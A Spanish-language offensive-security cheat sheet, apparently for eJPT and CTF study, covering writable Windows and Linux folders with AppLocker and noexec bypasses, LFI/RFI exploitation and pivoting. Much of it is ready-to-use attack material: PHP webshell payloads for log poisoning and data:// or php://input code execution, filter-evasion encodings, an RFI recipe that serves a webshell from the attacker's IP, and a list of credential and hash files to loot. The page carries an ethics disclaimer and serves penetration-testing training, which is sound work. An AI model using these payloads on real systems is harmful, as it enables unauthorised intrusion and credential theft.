Referencia · Sistemas & Web

Sistemas de ficheros · dónde escribir, qué leer, cómo colar

Cuando entras en una máquina necesitas un sitio donde dejar tu herramienta y poder ejecutarla; y cuando atacas una web, saber leer ficheros del servidor y convertir un LFI en RCE. Esta es tu chuleta de carpetas escribibles y de LFI/RFI.

W Carpetas escribibles y ejecutables en Windows

Cuando necesitas soltar un binario/payload en Windows (y a menudo saltar AppLocker), estas carpetas suelen ser escribibles por usuarios normales y, varias, están en las rutas permitidas por defecto de AppLocker — por eso la famosa spool\drivers\color es un clásico.

RutaPor qué es útil
C:\Windows\System32\spool\drivers\colorEscribible por usuarios y dentro del allowlist por defecto de AppLocker. El bypass clásico para ejecutar binarios.
C:\Windows\TasksEscribible por usuarios; ruta «System32-adyacente» que suele colarse en reglas por ruta.
C:\Windows\TempEscribible por todos. Cómodo para staging (ojo: muy vigilado por EDR).
C:\Windows\TracingEscribible por usuarios. Otro clásico de bypass por ruta.
C:\Windows\System32\spool\PRINTERSEscribible por usuarios (cola de impresión).
C:\Windows\debug\WIAEscribible por usuarios.
C:\PerfLogsA menudo escribible; raíz poco vigilada.
%TEMP% · %APPDATA% · %LOCALAPPDATA%El home del usuario: escribible y ejecutable sin privilegios. Tu sitio por defecto.
buscar carpetas escribibles (PowerShell)
# carpetas donde el usuario actual puede escribir
Get-ChildItem C:\Windows -Recurse -ErrorAction SilentlyContinue |
  ? { $_.PSIsContainer } |
  % { try{ $t="$($_.FullName)\.t"; [IO.File]::Create($t).Close(); Remove-Item $t; $_.FullName }catch{} }
# o con accesschk de Sysinternals:
accesschk.exe -uwdq -accepteula "Everyone" C:\Windows
Para qué sirve esto: con una carpeta escribible+ejecutable sueltas tu nc.exe, tu winPEAS.exe o tu payload de msfvenom y lo lanzas. Si hay AppLocker, eliges una de las rutas del allowlist. Si hay EDR, prefieres ejecución en memoria antes que tocar disco.

L Carpetas escribibles y ejecutables en Linux

RutaPor qué es útil
/tmpEscribible por todos. El sitio por defecto… si no está montado noexec.
/dev/shmMemoria compartida, escribible por todos. Ideal: rápido y «en RAM». A menudo ejecutable aunque /tmp sea noexec.
/var/tmpEscribible por todos y persiste tras reinicio (a diferencia de /tmp).
/run/user/<uid>Directorio de runtime del usuario, escribible por él.
~ (home) · webroot escribibleTu home siempre; y carpetas de la web (/var/www) si el servicio escribe ahí.
encontrar dónde escribir / ejecutar
# todas las carpetas escribibles por mi usuario
find / -writable -type d 2>/dev/null
# ¿está /tmp montado noexec? (si sí, usa /dev/shm o un intérprete)
mount | grep -E 'tmp|shm'
# ejecutar aunque sea noexec: vía intérprete o el loader
python3 exploit.py        bash script.sh        /lib64/ld-linux-x86-64.so.2 ./binario
Truco del noexec: si /tmp está montado con noexec no podrás hacer ./binario. Soluciones: usa /dev/shm, ejecútalo con su intérprete (python3, bash, perl) o invoca el loader de ELF directamente.

📂 LFI · Local File Inclusion

Una web incluye un fichero según un parámetro (?page=about.php) sin sanear. Puedes leer ficheros del servidor — y, con suerte, llegar a ejecutar código.

Payloads base

  • Traversal: ?page=../../../../etc/passwd (sube directorios hasta la raíz)
  • Ruta absoluta: ?page=/etc/passwd
  • Null byte (PHP < 5.3.4): ?page=../../etc/passwd%00 (corta la extensión que añade la app)
  • Leer código PHP en Base64 (no lo ejecuta, lo lee): ?page=php://filter/convert.base64-encode/resource=config.php

De LFI a RCE

TécnicaPayload
data:// (requiere allow_url_include)?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id
php://input (allow_url_include)?page=php://input + cuerpo POST: <?php system('id');?>
expect:// (ext. expect)?page=expect://id
Log poisoninginyecta <?php system($_GET['c']);?> en el User-Agent, luego ?page=/var/log/apache2/access.log&c=id
/proc/self/environsi es legible, envenena el User-Agent igual que un log
PHP filter chain (RCE sin fichero)cadenas de php://filter que generan código PHP arbitrario (usa php_filter_chain_generator)

Bypasses de filtros LFI

  • Filtran ../ → prueba doble codificación %252e%252e%252f o ....// (al quitar ../ una vez, queda ../)
  • Codificación URL: %2e%2e%2f · overlong UTF-8: %c0%ae%c0%ae/
  • Añade extensión obligatoria → usa %00 (viejo) o el wrapper php://filter (que admite la extensión al final)
  • «Path truncation» con rutas larguísimas ....//....// + /./././

🌎 RFI · Remote File Inclusion

Como el LFI, pero la web incluye un fichero remoto que tú sirves → RCE directo. Requiere allow_url_include=On (poco común hoy, pero cae en máquinas de práctica).

RFI en 3 pasos
# 1) crea tu webshell
echo '<?php system($_GET["c"]); ?>' > shell.txt
# 2) sírvela desde tu Kali
python3 -m http.server 80
# 3) inclúyela desde la web vulnerable
http://victima/index.php?page=http://TU_IP/shell.txt&c=id
# variantes para evadir filtros:
?page=http://TU_IP/shell.txt%00        ?page=http://TU_IP/shell.txt?

🔑 Ficheros jugosos para leer (LFI loot)

LinuxWindows
/etc/passwd · usuariosC:\Windows\System32\drivers\etc\hosts
/etc/shadow · hashes (si root)C:\inetpub\wwwroot\web.config · creds de app
~/.ssh/id_rsa · clave privada SSHC:\Windows\System32\config\SAM · hashes
~/.bash_history · comandosC:\Windows\Panther\Unattend.xml · creds de instalación
/var/www/html/config.php · BDC:\xampp\apache\conf\httpd.conf
/proc/self/cmdline · procesoC:\Windows\System32\config\RegBack\SAM
/etc/apache2/sites-enabled/*C:\Users\<u>\AppData\...\History
Ética: todo esto es para laboratorios, CTF y sistemas que tengas autorización por escrito para auditar. Fuera de ahí, es delito. Lo aprendes para defender y para certificarte, no para hacer daño.

🔀 Pivoting · saltar a la red interna

Ya tienes una máquina («pivote») con acceso a una segunda red que tú no alcanzas. El pivoting te deja atacar esa red a través de ella. Tres formas, de menos a más cómoda:

SSH · rápido y sin herramientas
# port forward LOCAL: servicio interno 10.10.2.5:80 -> tu localhost:8080
ssh -L 8080:10.10.2.5:80 user@pivote
# proxy SOCKS dinámico: toda una red a través del pivote
ssh -D 1080 user@pivote      # luego: proxychains nmap -sT 10.10.2.0/24
chisel · cuando no hay SSH
# en tu Kali (servidor)
./chisel server -p 8000 --reverse
# en el pivote (cliente) -> crea un SOCKS en tu Kali:1080
./chisel client TU_IP:8000 R:1080:socks
# y usas proxychains igual
proxychains crackmapexec smb 10.10.2.0/24
ligolo-ng · lo más cómodo (interfaz tun)
# Kali: prepara la interfaz y el proxy
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert
# pivote: conecta el agente
./agent -connect TU_IP:11601 -ignore-cert
# en ligolo: session -> start, y añade la ruta de la red interna
sudo ip route add 10.10.2.0/24 dev ligolo
# ahora atacas 10.10.2.0/24 DIRECTAMENTE, sin proxychains
Regla práctica: con SSH disponible, -D + proxychains te saca del paso. Sin SSH, chisel. Para comodidad total en redes grandes, ligolo-ng (enrutas y atacas como si estuvieras dentro). Tienes más comandos en el Arsenal → pivoting.

▶ Simulacro eJPT Arsenal · encoders & bypasses Guía Burp Suite Máquinas